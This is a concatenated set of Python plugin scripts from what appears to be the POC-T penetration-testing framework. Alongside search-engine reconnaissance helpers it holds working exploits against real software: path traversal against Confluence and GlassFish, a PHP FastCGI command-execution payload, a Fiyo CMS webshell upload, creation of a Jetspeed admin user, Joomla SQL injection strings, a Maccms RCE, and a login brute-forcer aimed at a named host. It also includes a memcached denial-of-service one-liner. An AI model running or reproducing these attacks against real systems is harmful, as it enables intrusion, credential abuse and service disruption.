31 | def subdomin_finder_by_bing(target): 32 | 33 | # create a browser instance 34 | browser = pychrome.Browser(url="http://127.0.0.1:9222") 35 | 36 | # create a tab 37 | tab = browser.new_tab() 38 | 39 | # start the tab 40 | tab.start() 41 | 42 | tab.Page.enable() 43 | 44 | # call method 45 | tab.Network.enable() 46 | tab.Runtime.enable() 47 | 48 | #bing最多也是1000 49 | start=1000 50 | 51 | subdomins=[] 52 | 53 | for step in range(0,start+10,10): 54 | 55 | url="https://www.bing.com/search?q={}".format(target) 56 | url=url+"&first={}".format(step) 57 | # stepinfo="step:"+str(step) 58 | # logger.info(stepinfo) 59 | 60 | try: 61 | # call method with timeout 62 | tab.Page.navigate(url=url, _timeout=5) 63 | tab.wait(5) 64 | 65 | exp='document.getElementsByClassName("b_algo").length' 66 | length= tab.Runtime.evaluate(expression=exp) 67 | 68 | if length['result']['value']==0: 69 | break 70 | 71 | #从每一页上抓取url 72 | for l in range(0,length['result']['value']): 73 | exp1='document.getElementsByClassName("b_algo")[{}].getElementsByTagName("a")[0].href'.format(l) 74 | res1= tab.Runtime.evaluate(expression=exp1) 75 | logger.info(res1['result']['value']) 76 | subdomins.append(res1['result']['value']) 77 | 78 | except: 79 | pass 80 | 81 | 82 | tab.stop() 83 | browser.close_tab(tab) 84 | return subdomins 85 | 86 | def poc(target): 87 | subdomins=subdomin_finder_by_bing(target) 88 | tmp=[] 89 | for sub in subdomins: 90 | url=urlparse.urlparse(sub) 91 | tmp.append(url.scheme+"://"+url.netloc) 92 | subdomins=list(set(tmp)) 93 | if subdomins: 94 | for s in subdomins: 95 | s="=>"+s 96 | output2file(s.replace("=>","")) 97 | logger.success(s) 98 | return True 99 | return False 100 | -------------------------------------------------------------------------------- /script/bingc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 基于Bing搜索引擎的 IP反查域名(默认为不使用API,开启API请在源码中配置) 8 | 9 | Usage: 10 | 查询C段域名 - python POC-T.py -s bingc -iN 139.24.102.0/24 -t 20 11 | 批量反查域名 - python POC-T.py -s bingc -iF ip.txt -t 20 12 | 13 | """ 14 | import requests 15 | import re 16 | import urllib 17 | import urllib2 18 | import base64 19 | from plugin.extracts import getTitle 20 | 21 | try: 22 | import json 23 | except ImportError: 24 | import simplejson as json 25 | 26 | # 如果使用API请将此项修改为自己的key(申请方法 https://github.com/Xyntax/BingC) 27 | accountKey = 'JaDRZblJ6OhxxxxxxxxxxxxxxxxxaWx8OThobZoRA' 28 | # 如果使用API请将此项修改为True 29 | ENABLE_API = False 30 | top = 50 31 | skip = 0 32 | 33 | 34 | def info(): 35 | return __doc__ 36 | 37 | 38 | def BingSearch(query): 39 | payload = {} 40 | payload['$top'] = top 41 | payload['$skip'] = skip 42 | payload['$format'] = 'json' 43 | payload['Query'] = "'" + query + "'" 44 | url = 'https://api.datamarket.azure.com/Bing/Search/Web?' + urllib.urlencode(payload) 45 | sAuth = 'Basic ' + base64.b64encode(':' + accountKey) 46 | 47 | headers = {} 48 | headers['Authorization'] = sAuth 49 | try: 50 | req = urllib2.Request(url, headers=headers) 51 | response = urllib2.urlopen(req) 52 | the_page = response.read() 53 | data = json.loads(the_page) 54 | return data 55 | except Exception: 56 | pass 57 | 58 | 59 | def poc(ip): 60 | domains = set() 61 | if ENABLE_API: 62 | ans_obj = BingSearch("ip:" + ip) 63 | for each in ans_obj.get('d',{}).get('results'): 64 | domains.add(each.get('Url').split('://')[-1].split('/')[0]) 65 | else: 66 | if '://' in ip: 67 | ip = ip.split('://')[-1].split(':')[0] 68 | q = "https://www.bing.com/search?q=ip%3A" + ip 69 | c = requests.get(q, headers={ 70 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'}).content 71 | p = re.compile(r'(.*?)') 72 | l = re.findall(p, c) 73 | for each in l: 74 | domain = each.split('://')[-1].split('/')[0] 75 | domains.add(domain) 76 | 77 | title = getTitle(ip) 78 | if not title and not domains: 79 | return False 80 | else: 81 | return '[%s]' % ip + '|'.join(domains) + (' (%s)' % title if title else '') 82 | -------------------------------------------------------------------------------- /script/brute-example.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 爆破脚本示例 8 | 9 | POST方式提交表单 10 | 用户名 => list1 11 | 密码 => 外部传入 12 | 13 | """ 14 | 15 | import requests 16 | 17 | list1 = [ 18 | 'admin', 19 | 'zhangwei', 20 | 'wangf', 21 | 'wangjing', 22 | 'lixy', 23 | 'wangl', 24 | 'liq', 25 | 'wangm', 26 | 'liuy', 27 | 'zhangjie', 28 | 'wangq', 29 | 'zhangtao', 30 | 'zhangt', 31 | 'liuj', 32 | 'wangh', 33 | 'chenj', 34 | 'lid', 35 | 'lih', 36 | 'zhangp', 37 | 'zhangyl', 38 | 'yangy', 39 | 'liugy', 40 | 'zhanghong', 41 | 'wangym', 42 | 'wanglin', 43 | 'liux', 44 | 'chenc', 45 | 'gaof', 46 | 'lijg', 47 | 'yangw', 48 | 'wuxy', 49 | 'wanggf', 50 | 'chenjh' 51 | ] 52 | 53 | 54 | def poc(i): 55 | try: 56 | for each in list1: 57 | url = 'http://beijing.51idc.com/login' 58 | 59 | d = { 60 | 'LoginId': str(each), 61 | 'LoginPasswd': str(i) 62 | } 63 | 64 | s = requests.session() 65 | s.get(url=url) 66 | r = s.post(url=url, data=d) 67 | if not len(r.content) == 1809: 68 | return True 69 | return False 70 | except Exception, e: 71 | return False 72 | -------------------------------------------------------------------------------- /script/cdn-detect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | 探测网站是否使用CDN/云WAF (多节点Get) 8 | 9 | 奇云测 ce.cloud.360.cn 10 | 11 | 用例: 12 | python POC-T.py -s realip -iS www.cdxy.me 13 | 14 | 结果(未使用): 15 | http://www.cdxy.me Nodes:92 IP(1):139.129.132.156 16 | 结果(使用): 17 | http://www.baidu.com [CDN Found!] Nodes:84 IP(14):111.13.100.91 14.215.177.38 119.75.218.70 115.239.210.27 180.97.33.107 119.75.217.109 115.239.211.112 180.97.33.108 14.215.177.37 111.206.223.173 111.206.223.172 220.181.111.188 103.235.46.39 220.181.112.244 18 | 结果(无法解析): 19 | http://mail.baidu.com [Target Unknown] 20 | """ 21 | 22 | import requests 23 | import re 24 | import time 25 | from plugin.urlparser import get_domain 26 | from bs4 import BeautifulSoup 27 | 28 | 29 | def _get_static_post_attr(page_content): 30 | """ 31 | Get params from 32 | 33 | :param page_content:html-content 34 | :return dict contains "hidden" parameters in
35 | """ 36 | _dict = {} 37 | soup = BeautifulSoup(page_content, "html.parser") 38 | for each in soup.find_all('input'): 39 | if 'value' in each.attrs and 'name' in each.attrs: 40 | _dict[each['name']] = each.get('value') 41 | return _dict 42 | 43 | 44 | def checkCDN(url): 45 | """ 46 | Detect if the website is using CDN or cloud-based web application firewall 47 | 48 | :param url: Target URL or Domain 49 | :return True / False 50 | """ 51 | url = 'http://' + url if '://' not in url else url 52 | url = get_domain(url) 53 | 54 | dest = 'http://ce.cloud.360.cn/' 55 | 56 | s = requests.session() 57 | 58 | data1 = _get_static_post_attr(s.get(dest).content) 59 | data1['domain'] = url 60 | s.post('http://ce.cloud.360.cn/task', data=data1) 61 | 62 | headers = { 63 | 'X-Requested-With': 'XMLHttpRequest', 64 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' 65 | } 66 | s.post('http://ce.cloud.360.cn/Tasks/detect', data=data1, headers=headers) 67 | 68 | time.sleep(5) # 5 sec delay for nodes to detect 69 | 70 | data = 'domain=' + url + '&type=get&ids%5B%5D=1&ids%5B%5D=2&ids%5B%5D=3&ids%5B%5D=4&ids%5B%5D=5&ids%5B%5D=6&ids%5B%5D=7&ids%5B%5D=8&ids%5B%5D=9&ids%5B%5D=16&ids%5B%5D=18&ids%5B%5D=22&ids%5B%5D=23&ids%5B%5D=41&ids%5B%5D=45&ids%5B%5D=46&ids%5B%5D=47&ids%5B%5D=49&ids%5B%5D=50&ids%5B%5D=54&ids%5B%5D=57&ids%5B%5D=58&ids%5B%5D=61&ids%5B%5D=62&ids%5B%5D=64&ids%5B%5D=71&ids%5B%5D=78&ids%5B%5D=79&ids%5B%5D=80&ids%5B%5D=93&ids%5B%5D=99&ids%5B%5D=100&ids%5B%5D=101&ids%5B%5D=103&ids%5B%5D=104&ids%5B%5D=106&ids%5B%5D=110&ids%5B%5D=112&ids%5B%5D=114&ids%5B%5D=116&ids%5B%5D=117&ids%5B%5D=118&ids%5B%5D=119&ids%5B%5D=120&ids%5B%5D=121&ids%5B%5D=122&user_ip_list=' 71 | r = s.post('http://ce.cloud.360.cn/GetData/getTaskDatas', data=data, headers=headers) 72 | 73 | ips = re.findall('"ip":"(.*?)"', r.content) 74 | ans = list(set(ips)) 75 | msg = url 76 | 77 | if not len(ips): 78 | msg += ' [Target Unknown]' 79 | return msg 80 | 81 | msg += ' [CDN Found!]' if len(ans) > 1 else '' 82 | msg += ' Nodes:' + str(len(ips)) 83 | msg += ' IP(%s):' % str(len(ans)) + ' '.join(ans) 84 | return msg 85 | 86 | 87 | def poc(url): 88 | try: 89 | return checkCDN(url) 90 | except Exception: 91 | return url + ' [Error]' 92 | -------------------------------------------------------------------------------- /script/confluence-traversal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Atlassian Confluence config file read POC [CVE-2015-8399] 8 | 9 | reference: 10 | http://zone.wooyun.org/content/27104 11 | http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016010311 12 | https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8399 13 | 14 | usage: 15 | python POC-T.py -s confluence-file-read -iF target.txt 16 | 17 | """ 18 | 19 | import requests 20 | from plugin.urlparser import iterate_path 21 | 22 | 23 | def poc(_inp): 24 | try: 25 | if '://' not in _inp: 26 | _inp = 'http://' + _inp 27 | for inp in iterate_path(_inp): 28 | payloads = ['/spaces/viewdefaultdecorator.action?decoratorName='] 29 | for each in payloads: 30 | if '.properties' in requests.get(url=inp + each).content: 31 | return True 32 | return False 33 | except Exception, e: 34 | return False 35 | -------------------------------------------------------------------------------- /script/fastcgi-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | PHP FastCGI Fileread/RCE PoC & Exp 8 | """ 9 | 10 | from plugin.util import randomString 11 | import socket 12 | 13 | PORT = 9000 14 | 15 | EXPLOIT = False # set "True" to exec system commands 16 | COMMAND = 'whoami' 17 | PHP_FILE_PATH = '/usr/share/php/PEAR.php' 18 | FLAG = randomString(10) if EXPLOIT else ':root:' 19 | 20 | 21 | def poc(ip): 22 | payload = exp_data() if EXPLOIT else poc_data() 23 | 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | sock.settimeout(3.0) 26 | try: 27 | sock.connect((ip, PORT)) 28 | sock.send(payload) 29 | ret = sock.recv(1024) 30 | sock.close() 31 | 32 | if ret.find(FLAG): 33 | return ip + ' -> ' +ret.split(FLAG)[1] if EXPLOIT else True 34 | except Exception, e: 35 | sock.close() 36 | 37 | return False 38 | 39 | 40 | def exp_data(): 41 | post_data = "" 42 | 43 | data1 = """ 44 | 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 45 | 01 04 00 01 01 14 04 00 0e 04 52 45 51 55 45 53 46 | 54 5f 4d 45 54 48 4f 44 50 4f 53 54 09 5b 50 48 47 | 50 5f 56 41 4c 55 45 61 6c 6c 6f 77 5f 75 72 6c 48 | 5f 69 6e 63 6c 75 64 65 20 3d 20 4f 6e 0a 64 69 49 | 73 61 62 6c 65 5f 66 75 6e 63 74 69 6f 6e 73 20 50 | 3d 20 0a 73 61 66 65 5f 6d 6f 64 65 20 3d 20 4f 51 | 66 66 0a 61 75 74 6f 5f 70 72 65 70 65 6e 64 5f 52 | 66 69 6c 65 20 3d 20 70 68 70 3a 2f 2f 69 6e 70 53 | 75 74 0f 17 53 43 52 49 50 54 5f 46 49 4c 45 4e 54 | 41 4d 45 55 | """ 56 | data2 = """ 57 | 0d 01 44 4f 43 55 58 | 4d 45 4e 54 5f 52 4f 4f 54 2f 0f 10 53 45 52 56 59 | 45 52 5f 53 4f 46 54 57 41 52 45 67 6f 20 2f 20 60 | 66 63 67 69 63 6c 69 65 6e 74 20 0b 09 52 45 4d 61 | 4f 54 45 5f 41 44 44 52 31 32 37 2e 30 2e 30 2e 62 | 31 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 63 | 4f 4c 48 54 54 50 2f 31 2e 31 0e 02 43 4f 4e 54 64 | 45 4e 54 5f 4c 45 4e 47 54 48 65 | """ 66 | data3 = """ 67 | 00 00 00 00 68 | 01 04 00 01 00 00 00 00 01 05 00 01 00 47 01 00 69 | """ 70 | data4 = """ 71 | 00 72 | """ 73 | datablock = data_sort(data1) 74 | datablock += PHP_FILE_PATH.strip() 75 | datablock += data_sort(data2) 76 | datablock += str(len(post_data)) 77 | datablock += data_sort(data3) 78 | datablock += post_data 79 | datablock += data_sort(data4) 80 | 81 | return datablock 82 | 83 | 84 | def poc_data(): 85 | data = """ 86 | 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 87 | 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 88 | 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 89 | 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 90 | 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 91 | 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 92 | 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 93 | 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 94 | 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 95 | 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 96 | 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 97 | """ 98 | return data_sort(data) 99 | 100 | 101 | def data_sort(data): 102 | return ''.join([chr(int(_, 16)) for _ in data.split()]) 103 | -------------------------------------------------------------------------------- /script/fiyo2.0.7-getshell.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Fiyo CMS <= 2.0.7 Unauthenticated Remote Getshell PoC 8 | 9 | Upload a shell via /dapur/apps/app_theme/libs/save_file.php then check if it exists. 10 | """ 11 | 12 | import requests 13 | from plugin.util import randomMD5, randomString 14 | 15 | 16 | def poc(url): 17 | url = url if '://' in url else 'http://' + url 18 | path = url + '/dapur/apps/app_theme/libs/' 19 | filename = randomString(5) + '.php' 20 | upload_path = path + 'save_file.php' 21 | shell_path = path + filename 22 | plain, cipher = randomMD5() 23 | 24 | post_data = { 25 | 'content': ''.format(plain), 26 | 'src': filename 27 | } 28 | 29 | header_data = { 30 | 'Referer': 'http://localhost/' 31 | } 32 | 33 | try: 34 | r = requests.post(url=upload_path, data=post_data, headers=header_data, timeout=3) 35 | shell = requests.get(shell_path) 36 | if r.status_code is 200 and cipher in shell.content: 37 | return True 38 | 39 | except Exception: 40 | return False 41 | 42 | return False 43 | -------------------------------------------------------------------------------- /script/glassfish-traversal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | GlassFish directory traversal vulnerability PoC 8 | 9 | version <= 4.1.0 10 | 11 | Usage: 12 | python POC-T.py -s glassfish-traversal -aZ "GlassFish Server Open Source Edition 4.1" 13 | 14 | """ 15 | 16 | import requests 17 | from plugin.useragent import firefox 18 | from plugin.urlparser import get_domain 19 | 20 | 21 | def poc(url): 22 | if '://' not in url: 23 | url = 'http://' + url 24 | url = get_domain(url) 25 | payload = '/theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF' 26 | try: 27 | c = requests.get(url + payload, headers={'User-Agent': firefox()}, timeout=10).content 28 | except Exception: 29 | return False 30 | if 'Version' in c: 31 | return True 32 | return False 33 | -------------------------------------------------------------------------------- /script/google-dork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = z3r0yu 5 | 6 | import pychrome 7 | import urlparse 8 | import threading 9 | from lib.core.data import paths,th,logger 10 | from lib.controller.engine import output2file 11 | 12 | # 环境配置: 13 | # 本地配置chrome的headless,执行如下命令: 14 | # headless mode (chrome version >= 59): 15 | # $ google-chrome --headless --disable-gpu --remote-debugging-port=9222 16 | 17 | # 或者直接使用docker 18 | # $ docker pull fate0/headless-chrome 19 | # $ docker run -it --rm --cap-add=SYS_ADMIN -p9222:9222 fate0/headless-chrome 20 | 21 | # PS:使用google插件的时候打开ss就好 22 | 23 | 24 | # 使用说明: 25 | # 对目标使用google dork语法,程序会返回抓取的域名 26 | # python POC-T.py -iS "site:test.com" -s test.py -eG 27 | 28 | def subdomin_finder_by_google(target): 29 | 30 | # create a browser instance 31 | browser = pychrome.Browser(url="http://127.0.0.1:9222") 32 | 33 | # create a tab 34 | tab = browser.new_tab() 35 | 36 | # start the tab 37 | tab.start() 38 | 39 | tab.Page.enable() 40 | 41 | # call method 42 | tab.Network.enable() 43 | tab.Runtime.enable() 44 | 45 | start=1000 46 | 47 | subdomins=[] 48 | 49 | for step in range(0,start+10,10): 50 | 51 | url="https://www.google.com/search?q={}".format(target) 52 | url=url+"&start={}".format(step) 53 | # stepinfo="step:"+str(step) 54 | # logger.info(stepinfo) 55 | 56 | try: 57 | # call method with timeout 58 | tab.Page.navigate(url=url, _timeout=5) 59 | tab.wait(5) 60 | 61 | exp='document.getElementsByClassName("r").length' 62 | length= tab.Runtime.evaluate(expression=exp) 63 | 64 | # google就看报不报错,报错了的话document.getElementsByClassName("r").length是为0的 65 | if length['result']['value']==0: 66 | break 67 | 68 | #从每一页上抓取url 69 | for l in range(0,length['result']['value']): 70 | # tab.wait(1) 71 | exp1='document.getElementsByClassName("r")[{}].getElementsByTagName("a")[0].href'.format(l) 72 | res1= tab.Runtime.evaluate(expression=exp1) 73 | logger.info(res1['result']['value']) 74 | subdomins.append(res1['result']['value']) 75 | except: 76 | pass 77 | 78 | tab.stop() 79 | browser.close_tab(tab) 80 | return subdomins 81 | 82 | def poc(target): 83 | subdomins=subdomin_finder_by_google(target) 84 | tmp=[] 85 | for sub in subdomins: 86 | url=urlparse.urlparse(sub) 87 | if url.scheme+"://"+url.netloc != 'https://www.google.com': 88 | tmp.append(url.scheme+"://"+url.netloc) 89 | subdomins=list(set(tmp)) 90 | if subdomins: 91 | for s in subdomins: 92 | s="=>"+s 93 | output2file(s.replace("=>","")) 94 | logger.success(s) 95 | return True 96 | return False -------------------------------------------------------------------------------- /script/jetspeed-rest-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Apache Jetspeed 用户管理 REST API 未授权访问添加用户 (CVE-2016-0710) 8 | 9 | version <= 2.3.0 10 | """ 11 | 12 | import requests 13 | from plugin.urlparser import get_domain 14 | from plugin.util import randomString 15 | from plugin.useragent import firefox 16 | 17 | ENABLE_EXP = False 18 | 19 | 20 | def poc(url): 21 | if '://' not in url: 22 | if ':443' in url: 23 | url = 'https://' + url 24 | else: 25 | url = 'http://' + url 26 | url = get_domain(url).rstrip('/') 27 | 28 | user = randomString(6) 29 | password = randomString(6) 30 | 31 | url1 = url + '/jetspeed/services/usermanager/users/?_type=json' 32 | data1 = { 33 | 'name': user, 34 | 'password': password, 35 | 'password_confirm': password, 36 | 'user_name_given': 'foo', 37 | 'user_name_family': 'bar', 38 | 'user_email': 'test@test.net', 39 | 'newrule': '' 40 | } 41 | try: 42 | requests.post(url1, data=data1, headers={'User-Agent': firefox}, timeout=10, verify=False) 43 | c = requests.post(url1, data=data1, headers={'User-Agent': firefox}, timeout=10, verify=False).content 44 | # response: org.apache.jetspeed.security.SecurityException.PRINCIPAL_ALREADY_EXISTS 45 | if 'PRINCIPAL_ALREADY_EXISTS' in c: 46 | if not ENABLE_EXP: 47 | return True 48 | else: 49 | return False 50 | except Exception, e: 51 | if not ENABLE_EXP: 52 | return False 53 | 54 | url2 = url + '/jetspeed/services/usermanager/users/' + user + '/?_type=json' 55 | data2 = { 56 | 'name': '', 57 | 'password': '', 58 | 'password_confirm': '', 59 | 'user_name_given': '', 60 | 'user_name_family': '', 61 | 'user_email': '', 62 | 'user_enabled': '', 63 | 'roles': 'admin', 64 | 'rule': '' 65 | } 66 | try: 67 | r = requests.post(url2, data=data2, headers={'User-Agent': firefox}, timeout=10, verify=False) 68 | if len(r.content) < 10 and 'true' in r.content: 69 | return '%s |user:%s |pass:%s' % (url, user, password) 70 | except Exception: 71 | return False 72 | return False 73 | -------------------------------------------------------------------------------- /script/joomla-registrationpro-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Joomla com_registrationpro SQL injection Vulnerability 8 | 9 | version 10 | 3.2.12 - 3.2.10 11 | Type 12 | boolean-based blind & error-based 13 | Usage 14 | python POC-T.py -s joomla-registrationpro-sqli -aG "inurl:index.php?option=com_registrationpro" 15 | 16 | """ 17 | 18 | import requests 19 | from plugin.urlparser import iterate_path 20 | from plugin.util import randomMD5 21 | 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | for each in iterate_path(url): 27 | plain, cipher = randomMD5(3) 28 | payload = "/index.php?option=com_registrationpro&view=calendar&Itemid=27&listview=2&month=6&year=1 AND (SELECT 7804 FROM(SELECT COUNT(*),CONCAT(0x7176786b71,(MID((IFNULL(CAST(md5({plain}) AS CHAR),0x20)),1,54)),0x716b707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)".format(plain=plain) 29 | if '?' in each: 30 | continue 31 | target_url = url.rstrip('/') + payload 32 | try: 33 | r = requests.get(target_url, timeout=10) 34 | if cipher in r.content: 35 | return each 36 | except Exception, e: 37 | pass 38 | return False 39 | -------------------------------------------------------------------------------- /script/joomla-videoflow-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Joomla com_videoflow SQL injection PoC 8 | 9 | Dork 10 | inurl:index.php?option=com_videoflow 11 | version 12 | 1.1.3 - 1.1.5 13 | Type 14 | boolean-based blind & error-based 15 | Usage 16 | python POC-T.py -s joomla-videoflow-sqli -aG "inurl:index.php?option=com_videoflow" 17 | 18 | """ 19 | 20 | import requests 21 | from plugin.urlparser import iterate_path 22 | from plugin.util import randomMD5 23 | 24 | 25 | def poc(url): 26 | if '://' not in url: 27 | url = 'http://' + url 28 | for each in iterate_path(url): 29 | plain, cipher = randomMD5(3) 30 | payload = "/index.php?option=com_videoflow&task=search&vs=1&searchword=-3920%27%29%20OR%201%20GROUP%20BY%20CONCAT%280x71786a7a71%2C%28MID%28%28IFNULL%28CAST%28md5%28{plain}%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C54%29%29%2C0x716b6b7a71%2CFLOOR%28RAND%280%29%2A2%29%29%20HAVING%20MIN%280%29%23".format(plain=plain) 31 | if '?' in each: 32 | continue 33 | target_url = url.rstrip('/') + payload 34 | try: 35 | r = requests.get(target_url, timeout=10) 36 | if cipher in r.content: 37 | return each 38 | except Exception, e: 39 | pass 40 | return False 41 | -------------------------------------------------------------------------------- /script/joomla-videogallerylite-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla 8 | 9 | Type 10 | boolean-based & time-based-blind 11 | Usage 12 | python POC-T.py -s joomla-videogallerylite-sqli -aG "inurl:/com_videogallerylite/ajax_url.php" 13 | 14 | """ 15 | 16 | import requests 17 | from plugin.urlparser import iterate_path, get_domain 18 | from plugin.useragent import firefox 19 | 20 | CHECK_WAF = True 21 | 22 | 23 | def poc(url): 24 | target = get_entry(url) 25 | if not target: 26 | return False 27 | 28 | if CHECK_WAF and has_waf(target): 29 | return '[Uncertain,WAF detected!] ' + get_domain(target) 30 | 31 | data_temp = "page=1&galleryid=[P]&task=load_videos_content&perpage=20&linkbutton=2" 32 | 33 | # Content-Type needed 34 | headers = {'User-Agent': firefox(), 35 | 'Content-Type': 'application/x-www-form-urlencoded'} 36 | try: 37 | r1 = requests.post(target, headers=headers, data=data_temp.replace('[P]', '-1 OR 1=1')) 38 | r2 = requests.post(target, headers=headers, data=data_temp.replace('[P]', '-1 OR 1=2')) 39 | except: 40 | return False 41 | if r1.status_code == r2.status_code == 200 and len(r1.content) != len(r2.content): 42 | return True 43 | return False 44 | 45 | 46 | def get_entry(url): 47 | url = url.split('?')[0] 48 | if '://' not in url: 49 | url = 'http://' + url 50 | entry = "/components/com_videogallerylite/ajax_url.php" 51 | for each in iterate_path(url): 52 | target = each.rstrip('/') + entry 53 | try: 54 | r = requests.get(target, timeout=10) 55 | except: 56 | continue 57 | if r.status_code == 200 and len(r.content) < 10: 58 | return target 59 | return None 60 | 61 | 62 | def has_waf(target): 63 | # Check if target has a WAF/IDS 64 | check_waf_payload = '?p=-1 OR 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd' 65 | try: 66 | r_waf = requests.get(target + check_waf_payload, timeout=3) 67 | except: 68 | return False 69 | if len(r_waf.content) > 10 or r_waf.status_code != 200: 70 | return True 71 | return False 72 | -------------------------------------------------------------------------------- /script/kubernetes-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = Oritz 5 | 6 | """ 7 | Kubernetes api 未授权访问 8 | https://kubernetes.io/docs/user-guide/kubectl-overview/ 9 | 需要安装 kubectl 10 | curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl 11 | chmod +x ./kubectl 12 | sudo mv ./kubectl /usr/local/bin/kubectl 13 | 14 | Usage: 15 | python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000 16 | """ 17 | 18 | import subprocess 19 | import requests 20 | from plugin.useragent import firefox 21 | 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | if '443' in url: 27 | url = url.replace('http:', 'https:') 28 | try: 29 | g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False) 30 | if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content: 31 | pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url, 32 | stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True) 33 | output = pods.communicate()[0].decode("utf-8") 34 | if "Please enter Username" not in output and "Error from server" not in output: 35 | return url 36 | except Exception: 37 | pass 38 | return False -------------------------------------------------------------------------------- /script/maccms8-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = potapo 5 | 6 | """ 7 | Maccms 8.x Remote Code Execution 8 | """ 9 | 10 | import requests 11 | from plugin.util import randomMD5 12 | 13 | 14 | def poc(url): 15 | if '://' not in url: 16 | url = 'http://' + url 17 | try: 18 | p, c = randomMD5() 19 | payload = "/index.php?m=vod-search&wd={if-A:die(md5(%s))}{endif-A}" % (p) 20 | if c in requests.get(url + payload, allow_redirects=False).text: 21 | return '[maccms]' + url 22 | except Exception: 23 | pass 24 | return False 25 | -------------------------------------------------------------------------------- /script/memcached-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Memcached未授权访问 8 | 9 | Usage 10 | python POC-T.py -s memcached-unauth -aS "port:11211" 11 | 12 | Results like: 13 | 197.xxx.0.xxx:11211 | version:1.4.13 | total_items:161028 14 | 197.xxx.75.xxx:11211 | version:1.4.4 | total_items:51005 15 | 16 | Possible Vulns: 17 | version < 1.4.17 => SASL验证绕过 18 | version < 1.4.3 => 远程DoS CVE-2010-1152 exp: cat /dev/zero | nc -q1 127.0.0.1 11211 19 | version < 1.1.12/1.2.2 => 远程溢出 CVE-2009-2415 20 | versoin < 1.2.8 => stats maps信息泄露 CVE-2009-1255 21 | 22 | """ 23 | 